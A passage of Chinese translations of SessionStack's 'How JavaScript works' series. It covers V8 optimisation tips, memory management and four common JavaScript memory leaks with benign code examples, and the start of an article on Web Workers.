JavaScript 的运行。为了控制垃圾回收的成本,并且使 JavaScript 的执行更加稳定,V8 使用增量标记:与遍历全部堆去标记每一个可能的对象的不同,取而代之的是它只遍历部分堆,然后就恢复正常执行。下一次垃圾回收就会从上一次遍历停下来的地方开始,这就使得每一次正常执行之间的停顿都非常短。就像前面说的,清理的操作是由独立的线程的进行的。 #### Ignition 和 TurboFan 随着 2017 年早些时候 V8 5.9 版本的发布,一个新的执行管线被引入。这个新的执行管线在 **实际的** JavaScript 应用中实现了更大的性能提升、显著的节省了内存的使用。 这个新的执行管线构建在 V8 的解释器 [Ignition](https://github.com/v8/v8/wiki/Interpreter) 和 最新的优化编译器 [TurboFan](https://github.com/v8/v8/wiki/TurboFan) 之上。 你可以在[这里](https://v8project.blogspot.bg/2017/05/launching-ignition-and-turbofan.html)查看 V8 团队有关这个主题的所有博文。 自从 V8 的 5.9 版本发布提来,V8 团队一直努力的跟上 JavaScript 的语言特性以及对这些特性的优化保持一致,而 full-codegen 和 Crankshaft (这两项技术从 2010 年就开始为 V8 服务) 不再被 V8 使用来运行 JavaScript。 这将意味着整个 V8 将拥有更简单、更易维护的架构。 ![](https://cdn-images-1.medium.com/max/800/0*pohqKvj9psTPRlOv.png) 在 web 和 Node.js 上的改进 当然这些改进仅仅是个开始。全新的 Ignition 和 TurboFan 管线为进一步的优化铺平了道路,这将在未来几年提高 JavaScript 性能以及使得 V8 在 chrome 和 Node.js 中节省更多的资源。 最后,这里提供一些小技巧去帮助大家写出优化更好、更棒的 JavaScript。从上文中你一定能总结出这些技巧,不过我依然总结了一下提供给你们: #### 如何写出优化的 JavaScript 1. **对象属性的顺序**: 在实例化你的对象属性的时候一定要使用相同的顺序,这样隐藏类和随后的优化代码才能共享。 2. **动态属性**: 在对象实例化之后再添加属性会强制使得隐藏类变化,并且会减慢为旧隐藏类所优化的代码的执行。所以,要在对象的构造函数中完成所有属性的分配。 3. **方法**: 重复执行相同的方法会运行的比不同的方法只执行一次要快 (因为内联缓存)。 4. **数组**: 避免使用 keys 不是递增的数字的稀疏数组,这种不是每一个元素在里面的稀疏数组其实是一个 **hash 表**。在这种数组中每一个元素的获取都是昂贵的代价。同时,要避免提前申请大数组。最好的做法是随着你的需要慢慢的增大数组。最后,不要删除数组中的元素,因为这会使得 keys 变得稀疏。 5. **标记值 (Tagged values)**: V8 用 32 位来表示对象和数字。它使用一位来区分它是对象 (flag = 1) 还是一个整型 (flag = 0),也被叫做小整型(SMI),因为它只有 31 位。然后,如果一个数值大于 31 位,V8 将会对其进行 box 操作,然后将其转换成 double 型,并且创建一个新的对象来装这个数。所以,为了避免代价很高的 box 操作,尽量使用 31 位的有符号数。 我们在 SessionStack 会尝试去遵循这些最佳实践去写出高质量、优化的代码。原因是一旦你将 SessionStack 集成到你的 web 应用中,它就会开始记录所有东西:包括所有 DOM 的改变,用户交互,JavaScript 异常,栈追踪,网络请求失败和 debug 信息。有了 SessionStack 你就能够把你 web 应用中的问题当成视频,你可以看回放来确定你的用户发生了什么。而这一切都不会影响到你的 web 应用的正常运行。 这儿有个免费的计划可以让你 [开始](https://www.sessionstack.com/signup/)。 ![](https://cdn-images-1.medium.com/max/800/1*kEQmoMuNBDfZKNSBh0tvRA.png) #### 更多资源 * [https://docs.google.com/document/u/1/d/1hOaE7vbwdLLXWj3C8hTnnkpE0qSa2P--dtDvwXXEeD0/pub](https://docs.google.com/document/u/1/d/1hOaE7vbwdLLXWj3C8hTnnkpE0qSa2P--dtDvwXXEeD0/pub) * [https://github.com/thlorenz/v8-perf](https://github.com/thlorenz/v8-perf) * [http://code.google.com/p/v8/wiki/UsingGit](http://code.google.com/p/v8/wiki/UsingGit) * [http://mrale.ph/v8/resources.html](http://mrale.ph/v8/resources.html) * [https://www.youtube.com/watch?v=UJPdhx5zTaw](https://www.youtube.com/watch?v=UJPdhx5zTaw) * [https://www.youtube.com/watch?v=hWhMKalEicY](https://www.youtube.com/watch?v=hWhMKalEicY) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/how-javascript-works-memory-management-how-to-handle-4-common-memory-leaks.md ================================================ > * 原文地址:[How JavaScript works: memory management + how to handle 4 common memory leaks](https://blog.sessionstack.com/how-javascript-works-memory-management-how-to-handle-4-common-memory-leaks-3f28b94cfbec) > * 原文作者:[Alexander Zlatkov](https://blog.sessionstack.com/@zlatkov?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-memory-management-how-to-handle-4-common-memory-leaks.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-memory-management-how-to-handle-4-common-memory-leaks.md) > * 译者:[曹小帅](https://github.com/caoxiaoshuai1) > * 校对者:[PCAaron](https://github.com/PCAaron) [Usey95](https://github.com/Usey95) # JavaScript 是如何工作的:内存管理 + 处理常见的 4 种内存泄漏 几周前,我们开始了一系列旨在深入挖掘 JavaScript 及其工作原理的研究。我们的初衷是:通过了解 JavaScript 代码块的构建以及它们之间协调工作的原理,我们将能够编写更好的代码和应用程序。 本系列的第一篇文章着重于提供[引擎概览, 运行时, 以及堆栈调用](https://blog.sessionstack.com/how-does-javascript-actually-work-part-1-b0bacc073cf)。第二篇文章仔细审查了 [Google 的 V8 JavaScript 引擎的内部区块](https://blog.sessionstack.com/how-javascript-works-inside-the-v8-engine-5-tips-on-how-to-write-optimized-code-ac089e62b12e)并且提供了一些关于怎样编写更好 JavaScript 代码的建议。 在第三篇文章中, 我们将讨论另外一个越来越被开发人员忽视的主题,原因是应用于日常基础内存管理的程序语言越来越成熟和复杂。我们也将会在 [SessionStack](https://www.sessionstack.com/?utm_source=medium&utm_medium=blog&utm_content=Post-3-v8-intro) 提供一些关于如何处理 JavaScript 内存泄漏的建议,我们需要确认 SessionStack 不会导致内存泄漏,或者不会增加我们集成的 web 应用程序的消耗。 #### 概览 例如,像 C 这样的编程语言,有 `malloc()` 和 `free()` 这样的基础内存管理函数。开发人员可以使用这些函数来显式分配和释放操作系统的内存。 与此同时,JavaScrip 在对象被创建时分配内存,并在对象不再使用时“自动”释放内存,这个过程被称为垃圾回收。这种看似“自动”释放资源的特性是导致混乱的来源,它给了 JavaScript(和其他高级语言)开发者们一种错觉,他们可以选择不去关心内存管理。**这是一种错误的观念** 即使使用高级语言,开发者也应该对内存管理有一些理解(至少关于基本的内存管理)。有时,自动内存管理存在的问题(比如垃圾回收器的错误或内存限制等)要求开发者需要理解内存管理,才能处理的更合适(或找到代价最少的替代方案)。 #### 内存生命周期 无论你使用哪种程序语言,内存生命周期总是大致相同的: ![](https://cdn-images-1.medium.com/max/800/1*slxXgq_TO38TgtoKpWa_jQ.png) 以下是对循环中每一步具体情况的概述: *  **内存分配** — 内存由操作系统分配,它允许你的应用程序使用。在基础语言中 (比如 C 语言),这是一个开发人员应该处理的显式操作。然而在高级系统中,语言已经帮你完成了这些工作。 *  **内存使用** — 这是你的程序真正使用之前分配的内存的时候,**读写**操作在你使用代码中已分配的变量时发生。 *  **内存释放** — 释放你明确不需要的内存,让其再次空闲和可用。和**内存分配**一样,在基础语言中这是显式操作。 关于调用栈和内存堆的概念的快速概览,可以阅读我们的[关于主题的第一篇文章](https://blog.sessionstack.com/how-does-javascript-actually-work-part-1-b0bacc073cf)。 #### 内存是什么? 在直接跳到有关 JavaScript 中的内存部分之前,我们将简要地讨论一下内存的概况以及它是如何工作的: 在硬件层面上,内存包含大量的[触发器](https://en.wikipedia.org/wiki/Flip-flop_%28electronics%29)。每一个触发器包含一些晶体管并能够存储一位。单独的触发器可通过**唯一标识符**寻址, 所以我们可以读取和覆盖它们。因此,从概念上讲,我们可以把整个计算机内存看作是我们可以读写的一个大的位组。 作为人类,我们并不擅长在位操作中实现我们所有的思路和算法,我们把它们组装成更大的组,它可以用来表示数字。8 位称为 1 个字节。除字节外,还有单词(有时是 16,有时是 32 位)。 很多东西存储在内存中: 1. 所有程序使用的所有变量和其他数据。 2. 程序的代码,包括操作系统的代码。 编译器和操作系统一起为您处理了大部分的内存管理,但是我们建议您看看底层发生了什么。 当你编译代码时,编译器可以检查原始数据类型,并提前计算它们需要多少内存。然后所需的数量被分配给**栈空间**中的程序。分配这些变量的空间称为栈空间,因为随着函数被调用,它们的内存被添加到现有的内存之上。当它们终止时,它们以 LIFO(后进先出)顺序被移除。 例如,请考虑以下声明: ``` int n; // 4 bytes int x[4]; // array of 4 elements, each 4 bytes double m; // 8 bytes ``` 编译器可以立即计算到代码需要 4 + 4 × 4 + 8 = 28 bytes > 这是它处理 integers 和 doubles 类型当前大小的方式。大约 20 年前,integers 通常是 2 个字节,doubles 通常是 4 个字节。您的代码不应该依赖于某一时刻基本数据类型的大小。 编译器将插入与操作系统交互的代码,为堆栈中的变量请求存储所需的字节数。 在上面的例子中,编译器知道每个变量的具体内存地址。 事实上,只要我们写入变量 `n`,它就会在内部被翻译成类似“内存地址 4127963”的内容。 注意,如果我们试图在这里访问 `x[4]`,我们将访问与 m 关联的数据。这是因为我们正在访问数组中不存在的一个元素 - 它比数组中最后一个实际分配的元素 `x[3]` 深了 4 个字节,并且最终可能会读取(或覆盖)一些 `m` 的位。这对项目的其余部分有预料之外的影响。 ![](https://cdn-images-1.medium.com/max/800/1*5aBou4onl1B8xlgwoGTDOg.png) 当函数调用其他函数时,每个其他函数调用时都会产生自己的栈块。栈块保留了它所有的局部变量和一个记录了执行地点程序计数器。当函数调用完成时,其内存块可再次用于其他方面。 #### 动态分配 遗憾的是,当我们不知道编译时变量需要多少内存时,事情变得不再简单。假设我们想要做如下的事情: ``` int n = readInput(); // reads input from the user ... // create an array with "n" elements ``` 这里,在编译时,编译器不知道数组需要多少内存,因为它是由用户提供的值决定的。 因此,它不能为堆栈上的变量分配空间。相反,我们的程序需要在运行时明确地向操作系统请求正确的内存量。这个内存是从**堆空间**分配的。下表总结了静态和动态内存分配之间的区别: ![](https://cdn-images-1.medium.com/max/800/1*qY-yRQWGI-DLS3zRHYHm9A.png) 静态和动态内存分配的区别 为了充分理解动态内存分配是如何工作的,我们需要在**指针**上花费更多的时间,这可能与本文的主题略有偏差。如果您有兴趣了解更多信息,请在评论中告诉我们,我们可以在以后的文章中详细介绍指针。 #### JavaScript 中的内存分配 现在我们将解释第一步(**分配内存**)是如何在JavaScript中工作的。 JavaScript 减轻了开发人员处理内存分配的责任 - JavaScript自己执行了内存分配,同时声明了值。 ``` var n = 374; // allocates memory for a number var s = 'sessionstack'; // allocates memory for a string var o = { a: 1, b: null }; // allocates memory for an object and its contained values var a = [1, null, 'str']; // (like object) allocates memory for the // array and its contained values function f(a) { return a + 3; } // allocates a function (which is a callable object) // function expressions also allocate an object someElement.addEventListener('click', function() { someElement.style.backgroundColor = 'blue'; }, false); ``` 一些函数调用也会导致对象分配: ``` var d = new Date(); // allocates a Date object var e = document.createElement('div'); // allocates a DOM element ``` 方法可以分配新的值或对象: ``` var s1 = 'sessionstack'; var s2 = s1.substr(0, 3); // s2 is a new string // Since strings are immutable, // JavaScript may decide to not allocate memory, // but just store the [0, 3] range. var a1 = ['str1', 'str2']; var a2 = ['str3', 'str4']; var a3 = a1.concat(a2); // new array with 4 elements being // the concatenation of a1 and a2 elements ``` #### 在 JavaScript 中使用内存 基本上在 JavaScript 中使用分配的内存,意味着在其中读写。 这可以通过读取或写入变量或对象属性的值,甚至传递一个变量给函数来完成。 #### 在内存不再需要时释放内存 绝大部分内存管理问题都处于这个阶段。 这里最困难的任务是确定何时不再需要这些分配了的内存。它通常需要开发人员确定程序中的哪个部分不再需要这些内存,并将其释放。 高级语言嵌入了一个称为**垃圾回收器**的软件,其工作是跟踪内存分配和使用情况,以便找到何时何种情况下不再需要这些分配了的内存,它将自动释放内存。 不幸的是,这个过程是一个近似值,因为预估是否需要某些内存的问题通常是[不可判定的](http://en.wikipedia.org/wiki/Decidability_%28logic%29)(无法通过算法解决)。 大多数垃圾回收器通过收集不能再访问的内存来工作,例如,所有指向它的变量都超出了作用域。然而,这是可以收集的一组内存空间的近似值,因为在某种情况下内存位置可能仍然有一个指向它的变量,但它将不会被再次访问。 #### 垃圾回收机制 由于发现一些内存是否“不再需要”事实上是不可判定的,所以垃圾收集在实施一般问题解决方案时具有局限性。本节将解释主要垃圾收集算法及其局限性的基本概念。 #### 内存引用 垃圾收集算法所依赖的主要概念来源于**附录参考资料**。 在内存管理的上下文中,如果一个对象可以访问另一个对象(可以是隐式的或显式的),则称该对象引用另一个对象。例如, 一个 JavaScript 引用了它的 [prototype](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain) (**隐式引用**)和它的属性值(**显式引用**)。 在这种情况下,“对象”的概念扩展到比普通JavaScript对象更广泛的范围,并包含函数作用域(或全局**词法范围**)。 > 词法作用域定义了变量名如何在嵌套函数中解析:即使父函数已经返回,内部函数仍包含父函数的作用域。 #### 引用计数垃圾收集 这是最简单的垃圾收集算法。 如果有**零个指向它**的引用,则该对象被认为是“可垃圾回收的”。 请看下面的代码: ``` var o1 = { o2: { x: 1 } }; // 2 objects are created. // 'o2' is referenced by 'o1' object as one of its properties. // None can be garbage-collected var o3 = o1; // the 'o3' variable is the second thing that // has a reference to the object pointed by 'o1'. o1 = 1; // now, the object that was originally in 'o1' has a // single reference, embodied by the 'o3' variable var o4 = o3.o2; // reference to 'o2' property of the object. // This object has now 2 references: one as // a property. // The other as the 'o4' variable o3 = '374'; // The object that was originally in 'o1' has now zero // references to it. // It can be garbage-collected. // However, what was its 'o2' property is still // referenced by the 'o4' variable, so it cannot be // freed. o4 = null; // what was the 'o2' property of the object originally in // 'o1' has zero references to it. // It can be garbage collected. ``` #### 周期产生问题 在周期循环中有一个限制。在下面的例子中,两个对象被创建并相互引用,这就创建了一个循环。在函数调用之后,它们会超出界限,所以它们实际上是无用的,并且可以被释放。然而,引用计数算法认为,由于两个对象中的每一个都被至少引用了一次,所以两者都不能被垃圾收集。 ``` function f() { var o1 = {}; var o2 = {}; o1.p = o2; // o1 references o2 o2.p = o1; // o2 references o1. This creates a cycle. } f(); ``` ![](https://cdn-images-1.medium.com/max/800/1*GF3p99CQPZkX3UkgyVKSHw.png) #### 标记和扫描算法 为了确定是否需要某个对象,本算法判断该对象是否可访问。 标记和扫描算法经过这 3 个步骤: 1.根节点:一般来说,根是代码中引用的全局变量。例如,在 JavaScript 中,可以充当根节点的全局变量是“window”对象。Node.js 中的全局对象被称为“global”。完整的根节点列表由垃圾收集器构建。 2.然后算法检查所有根节点和他们的子节点并且把他们标记为活跃的(意思是他们不是垃圾)。任何根节点不能访问的变量将被标记为垃圾。 3.最后,垃圾收集器释放所有未被标记为活跃的内存块,并将这些内存返回给操作系统。 ![](https://cdn-images-1.medium.com/max/800/1*WVtok3BV0NgU95mpxk9CNg.gif) 标记和扫描算法行为的可视化。 因为“一个对象有零引用”导致该对象不可达,所以这个算法比前一个算法更好。我们在周期中看到的情形恰巧相反,是不正确的。 截至 2012 年,所有现代浏览器都内置了标记扫描式的垃圾回收器。去年在 JavaScript 垃圾收集(通用/增量/并发/并行垃圾收集)领域中所做的所有改进都是基于这种算法(标记和扫描)的实现改进,但这不是对垃圾收集算法本身的改进,也不是对判断一个对象是否可达这个目标的改进。 [在本文中](https://en.wikipedia.org/wiki/Tracing_garbage_collection), 您可以阅读有关垃圾回收跟踪的更详细的信息,文章也包括标记和扫描算法以及其优化。 #### 周期不再是问题 在上面的第一个例子中,函数调用返回后,两个对象不再被全局对象中的某个变量引用。因此,垃圾收集器会认为它们不可访问。 ![](https://cdn-images-1.medium.com/max/800/1*FbbOG9mcqWZtNajjDO6SaA.png) 即使两个对象之间有引用,从根节点它们也不再可达。 #### 统计垃圾收集器的直观行为 尽管垃圾收集器很方便,但他们也有自己的一套权衡策略。其中之一是不确定性。换句话说,GCs(垃圾收集器)们是不可预测的。你不能确定一个垃圾收集器何时会执行收集。这意味着在某些情况下,程序其实需要使用更多的内存。其他情况下,在特别敏感的应用程序中,短暂暂停可能是显而易见的。尽管不确定性意味着不能确定一个垃圾收集器何时执行收集,大多数 GC 共享分配中的垃圾收集通用模式。如果没有执行分配,大多数 GC 保持空闲状态。考虑如下场景: 1. 大量的分配被执行。 2. 大多数这些元素(或全部)被标记为不可访问(假设我们废除一个指向我们不再需要的缓存的引用)。 3. 没有执行更深的内存分配。 在这种情况下,大多数 GC 不会运行任何更深层次的收集。换句话说,即使存在不可用的引用可用于收集,收集器也不会声明这些引用。这些并不是严格的泄漏,但仍会导致高于日常的内存使用率。 #### 什么是内存泄漏? 就像内存描述的那样,内存泄漏是应用程序过去使用但不再需要的尚未返回到操作系统或可用内存池的内存片段。 ![](https://cdn-images-1.medium.com/max/800/1*0B-dAUOH7NrcCDP6GhKHQw.jpeg) 编程语言偏好不同的内存管理方式。但是,某段内存是否被使用实际上是一个[不可判定问题](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_Management#Release_when_the_memory_is_not_needed_anymore)。换句话说,只有开发人员可以明确某块内存是否可以返回给操作系统。 某些编程语言提供了帮助开发人员执行上述操作的功能。其他人则希望开发人员能够完全明确某段内存何时处于未使用状态。维基百科在如何[手工](https://en.wikipedia.org/wiki/Manual_memory_management)和[自动](https://en.wikipedia.org/wiki/Garbage_collection_%28computer_science%29)内存管理方面有很好的文章。 #### JavaScript 常见的四种内存泄漏 #### 1:全局变量 JavaScript 用一种有趣的方式处理未声明的变量:当引用一个未声明的变量时,在 _global_ 对象中创建一个新变量。在浏览器中,全局对象将是 `window`,这意味着 ``` function foo(arg) { bar = "some text"; } ``` 等同于: ``` function foo(arg) { window.bar = "some text"; } ``` 我们假设 `bar` 的目的只是引用 foo 函数中的一个变量。然而,如果你不使用 `var` 来声明它,就会创建一个冗余的全局变量。在上面的情况中,这不会造成很严重的后果。你可以想象一个更具破坏性的场景。 你也可以用 `this` 意外地创建一个全局变量: ``` function foo() { this.var1 = "potential accidental global"; } // Foo called on its own, this points to the global object (window) // rather than being undefined. foo(); ``` > 你可以通过在 JavaScript 文件的开头添加 `'use strict';` 来避免这些后果,这将开启一种更严格的 JavaScript 解析模式,从而防止意外创建全局变量。 意外的全局变量当然是个问题,然而更常出现的情况是,你的代码会受到显式的全局变量的影响,而这些全局变量无法通过垃圾收集器收集。需要特别注意用于临时存储和处理大量信息的全局变量。如果你必须使用全局变量来存储数据,当你这样做的时候,要保证一旦完成使用就把他们**赋值为 null 或重新赋值** 。 #### 2:被忘记的定时器或者回调函数 我们以经常在 JavaScript 中使用的 `setInterval` 为例。 提供观察者和其他接受回调的工具库通常确保所有对回调的引用在其实例无法访问时也变得无法访问。然而,下面的代码并不鲜见: ``` var serverData = loadData(); setInterval(function() { var renderer = document.getElementById('renderer'); if(renderer) { renderer.innerHTML = JSON.stringify(serverData); } }, 5000); //This will be executed every ~5 seconds. ``` 上面的代码片段显示了使用定时器引用节点或无用数据的后果。 `renderer` 对象可能会在某些时候被替换或删除,这会使得间隔处理程序封装的块变得冗余。如果发生这种情况,处理程序及其依赖项都不会被收集,因为间隔处理需要先备停止(请记住,它仍然是活动的)。这一切都归结为一个事实,即事实存储和处理负载数据的 `serverData` 也不会被收集。 当使用观察者时,你需要确保一旦依赖于它们的事务已经处理完成,你编写了明确的调用来删除它们(不再需要观察者,或者对象将变得不可用时)。 幸运的是,大多数现代浏览器都会为你做这件事:即使你忘记删除监听器,当观察对象变得无法访问时,它们也会自动收集观察者处理程序。过去一些浏览器无法处理这些情况(旧的 IE6)。 但是,尽管如此,一旦对象变得过时,移除观察者才是符合最佳实践的。看下面的例子: ``` var element = document.getElementById('launch-button'); var counter = 0; function onClick(event) { counter++; element.innerHtml = 'text ' + counter; } element.addEventListener('click', onClick); // Do stuff element.removeEventListener('click', onClick); element.parentNode.removeChild(element); // Now when element goes out of scope, // both element and onClick will be collected even in old browsers // that don't handle cycles well. ``` 现在的浏览器支持检测这些循环并适当地处理它们的垃圾收集器,因此在制造一个无法访问的节点之前,你不再需要调用 `removeEventListener`。 如果您利用 `jQuery` API(其他库和框架也支持这个),您也可以在节点废弃之前删除监听器。即使应用程序在较旧的浏览器版本下运行,这些库也会确保没有内存泄漏。 3:闭包 JavaScript开发的一个关键方面是闭包:一个内部函数可以访问外部(封闭)函数的变量。由于JavaScript运行时的实现细节,可能以如下方式泄漏内存: ``` var theThing = null; var replaceThing = function () { var originalThing = theThing; var unused = function () { if (originalThing) // a reference to 'originalThing' console.log("hi"); }; theThing = { longStr: new Array(1000000).join('*'), someMethod: function () { console.log("message"); } }; }; setInterval(replaceThing, 1000); ``` 一旦调用了 `replaceThing` 函数,`theThing` 就得到一个新的对象,它由一个大数组和一个新的闭包(`someMethod`)组成。然而 `originalThing` 被一个由 `unused` 变量(这是从前一次调用 `replaceThing` 变量的 `Thing` 变量)所持有的闭包所引用。需要记住的是**一旦为同一个父作用域内的闭包创建作用域,作用域将被共享。** 在个例子中,`someMethod` 创建的作用域与 `unused` 共享。`unused` 包含一个关于 `originalThing` 的引用。即使 `unused` 从未被引用过,`someMethod` 也可以通过 `replaceThing` 作用域之外的 `theThing` 来使用它(例如全局的某个地方)。由于 `someMethod` 与 `unused` 共享闭包范围,`unused` 指向 `originalThing` 的引用强制它保持活动状态(两个闭包之间的整个共享范围)。这阻止了它们的垃圾收集。 在上面的例子中,为闭包 `someMethod` 创建的作用域与 `unused` 共享,而 `unused` 又引用 `originalThing`。`someMethod` 可以通过 `replaceThing` 范围之外的 `theThing` 来引用,尽管 `unused` 从来没有被引用过。事实上,unused 对 `originalThing` 的引用要求它保持活跃,因为 `someMethod` 与 unused 的共享封闭范围。 所有这些都可能导致大量的内存泄漏。当上面的代码片段一遍又一遍地运行时,您可以预期到内存使用率的上升。当垃圾收集器运行时,其大小不会缩小。一个闭包链被创建(在例子中它的根就是 `theThing` 变量),并且每个闭包作用域都包含对大数组的间接引用。 Meteor 团队发现了这个问题,[它们有一篇很棒的文章](https://blog.meteor.com/an-interesting-kind-of-javascript-memory-leak-8b47d2e7f156)详细地描述了这个问题。 #### 4:超出 DOM 的引用 有些情况下开发人员在数据结构中存储 DOM 节点。假设你想快速更新表格中几行的内容。如果在字典或数组中存储对每个 DOM 行的引用,就会产生两个对同一个 DOM 元素的引用:一个在 DOM 树中,另一个在字典中。如果你决定删除这些行,你需要记住让两个引用都无法访问。 ``` var elements = { button: document.getElementById('button'), image: document.getElementById('image') }; function doStuff() { elements.image.src = 'http://example.com/image_name.png'; } function removeImage() { // The image is a direct child of the body element. document.body.removeChild(document.getElementById('image')); // At this point, we still have a reference to #button in the //global elements object. In other words, the button element is //still in memory and cannot be collected by the GC. } ``` 在涉及 DOM 树内的内部节点或叶节点时,还有一个额外的因素需要考虑。如果你在代码中保留对表格单元格(`td` 标记)的引用,并决定从 DOM 中删除该表格但保留对该特定单元格的引用,则可以预见到严重的内存泄漏。你可能会认为垃圾收集器会释放除了那个单元格之外的所有东西。但情况并非如此。由于单元格是表格的子节点,并且子节点保持对父节点的引用,所以**对表格单元格的这种单引用会把整个表格保存在内存中**。 我们在 [SessionStack](https://www.sessionstack.com/?utm_source=medium&utm_medium=blog&utm_content=Post-3-v8-outro) 尝试遵循这些最佳实践,编写正确处理内存分配的代码,原因如下: 一旦将 SessionStack 集成到你的生产环境的 Web 应用程序中,它就会开始记录所有的事情:所有的 DOM 更改,用户交互,JavaScript 异常,堆栈跟踪,失败网络请求,调试消息等。 通过 SessionStack,你可以像视频一样回放 web 应用程序中的问题,并查看所有的用户行为。所有这些都必须在您的网络应用程序没有性能影响的情况下进行。 由于用户可以重新加载页面或导航你的应用程序,所有的观察者,拦截器,变量分配等都必须正确处理,这样它们才不会导致任何内存泄漏,也不会增加我们正在整合的Web应用程序的内存消耗。 这里有一个免费的计划所以你可以[试试看](https://www.sessionstack.com/?utm_source=medium&utm_medium=blog&utm_content=Post-3-v8-getStarted). ![](https://cdn-images-1.medium.com/max/800/1*kEQmoMuNBDfZKNSBh0tvRA.png) #### Resources * [http://www-bcf.usc.edu/~dkempe/CS104/08-29.pdf](http://www-bcf.usc.edu/~dkempe/CS104/08-29.pdf) * [https://blog.meteor.com/an-interesting-kind-of-javascript-memory-leak-8b47d2e7f156](https://blog.meteor.com/an-interesting-kind-of-javascript-memory-leak-8b47d2e7f156) * [http://www.nodesimplified.com/2017/08/javascript-memory-management-and.html](http://www.nodesimplified.com/2017/08/javascript-memory-management-and.html) * [https://auth0.com/blog/four-types-of-leaks-in-your-javascript-code-and-how-to-get-rid-of-them/](https://auth0.com/blog/four-types-of-leaks-in-your-javascript-code-and-how-to-get-rid-of-them/) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/how-javascript-works-the-building-blocks-of-web-workers-5-cases-when-you-should-use-them.md ================================================ > * 原文地址:[How JavaScript works: The building blocks of Web Workers + 5 cases when you should use them](https://blog.sessionstack.com/how-javascript-works-the-building-blocks-of-web-workers-5-cases-when-you-should-use-them-a547c0757f6a) > * 原文作者:[Alexander Zlatkov](https://blog.sessionstack.com/@zlatkov?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-the-building-blocks-of-web-workers-5-cases-when-you-should-use-them.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-the-building-blocks-of-web-workers-5-cases-when-you-should-use-them.md) > * 译者:[刘嘉一](https://github.com/lcx-seima) > * 校对者:[缪宇](https://github.com/goldEli),[MechanicianW](https://github.com/MechanicianW) # JavaScript 工作原理:Web Worker 的内部构造以及 5 种你应当使用它的场景 ![](https://cdn-images-1.medium.com/max/800/0*b5WMJNTRt9QqN-Zy.jpg) 这是探索 JavaScript 及其内建组件系列文章的第 7 篇。在认识和描述这些核心元素的过程中,我们也会分享我们在构建 [SessionStack](https://www.sessionstack.com/?utm_source=medium&utm_medium=source&utm_content=javascript-series-web-workers-intro) 时所遵循的一些经验规则。SessionStack 是一个轻量级 JavaScript 应用,它协助用户实时查看和复现他们的 Web 应用缺陷,因此其自身不仅需要足够健壮还要有不俗的性能表现。 如果你错过了前面的文章,你可以在下面找到它们: * [对引擎、运行时和调用栈的概述](https://juejin.im/post/5a05b4576fb9a04519690d42) * [深入 V8 引擎以及 5 个写出更优代码的技巧](https://juejin.im/post/5a102e656fb9a044fd1158c6) * [内存管理以及四种常见的内存泄漏的解决方法](https://juejin.im/post/59ca19ca6fb9a00a42477f55) * [事件循环和异步编程的崛起以及 5 个如何更好的使用 async/await 编码的技巧](https://juejin.im/post/5a221d35f265da43356291cc) * [JavaScript 是如何工作的:深入剖析 WebSockets 和拥有 SSE 技术 的 HTTP/2,以及如何在二者中做出正确的选择](https://juejin.im/post/5a522647518825732d7f6cbb) * [JavaScript 工作原理:与 WebAssembly 一较高下 + 为何 WebAssembly 在某些情况下比 JavaScript 更为适用](https://blog.sessionstack.com/how-javascript-works-a-comparison-with-webassembly-why-in-certain-cases-its-better-to-use-it-d80945172d79) 这一次我们将剖析 Web Worker:对它进行简单概述后,我们将分别讨论不同类型的 Worker 以及它们内部组件的运作方法,同时也会以场景为例说明它们各自的优缺点。在文章的最后,我们将讲解最适合使用 Web Worker 的 5 个场景。 我们在 [之前的文章](https://juejin.im/post/5a522647518825732d7f6cbb) 中已经详尽地讨论了 JavaScript 的单线程运行机制,对此你应当已经了然于胸。然而,JavaScript 是允许开发者在单线程模型上书写异步代码的。 #### 异步编程的 “天花板” 我们已经讨论过了 [异步编程](https://blog.sessionstack.com/how-javascript-works-event-loop-and-the-rise-of-async-programming-5-ways-to-better-coding-with-2f077c4438b5?source=---------2----------------) 的概念及其使用场景。 [异步编程](https://www.scaler.com/topics/javascript/asynchronous-javascript/) 通过把部分代码 “放置” 到事件循环较后的时间点执行,保证了 UI 渲染始终处于较高的优先级,这样你的 UI 就不会出现卡顿无响应的情况。 AJAX 请求是异步编程的最佳实践之一。通常网络请求不会在短时间内得到响应,因此异步的网络请求能让客户端在等待响应结果的同时执行其他业务代码。 ``` // 假设你使用了 jQuery jQuery.ajax({ url: 'https://api.example.com/endpoint', success: function(response) { // 正确响应后需要执行的代码 } }); ``` 当然这里有个问题,上例能够进行异步请求是依靠了浏览器提供的 API,其他代码又该如何实现异步执行呢?例如,在上例 success 回调函数中存在 CPU 密集型计算: ``` var result = performCPUIntensiveCalculation(); ``` 假如 